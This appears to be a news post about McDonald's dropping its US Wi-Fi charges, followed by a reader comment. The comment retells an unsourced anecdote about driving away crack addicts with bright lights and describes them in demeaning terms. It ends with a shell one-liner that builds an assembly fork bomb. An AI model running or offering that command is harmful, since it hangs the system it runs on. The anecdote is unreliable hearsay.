US McDonald's Wi-Fi Going Free In January
Knowzy writes "After five years behind a paywall, McDonalds plans to stop charging for its Wi-Fi in mid-January in the US. According to the Dallas Morning News, you aren't even required to make a purchase — 'free is free,' a spokesman said. It's also been widely reported that they won't impose time limits on your surfing. With around 20,000 free hotspots between McDonald's and Starbucks (who went free[ish] earlier this year), anyone still charging for Wi-Fi is going to look foolish, if not downright greedy."
I read somewhere that back in the 80's McDonalds in the US inner cities had problems with crack addicts. They'd stay all day, maybe buy a coffee or fries occasionally. Hardcore crack addicts don't eat much but they need small amounts of water, salt, sugar, caffeine and fat which were supplied by the coffee and fries. They smelled bad and were abusive and scared away the regular customers who'd spend more and leave quicker. The revenue per table hour started to drop in the crack addict infested restaurants. McDonalds Corporate was made aware of the problem and asked for directions.
McDonalds is a bit like the bugs in Starship Troopers - lower level drones are able to implement policy and are interrogated about falling revenues but not trusted to make policy. That was done by MBAs - the McDonalds equivalent of Brain Bugs - in the headquarters. Now clearly forcefully evicting the crack addicts though possible would create a bad atmosphere. Studies were commissioned. It was found that crack addicts dislike bright lights but the good customers - people who wolf down this months's special premium burger supersize meal ("SwissMac Meal! With real Swiss Cheese!") and then got the hell out - weren't bothered by them. Or indeed anything else.
A decision was made to increase the ambient light levels. The crack addicts left and revenues increased. My guess is geeks leaching wifi will need to be repelled in the same way, and for much the same reasons.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;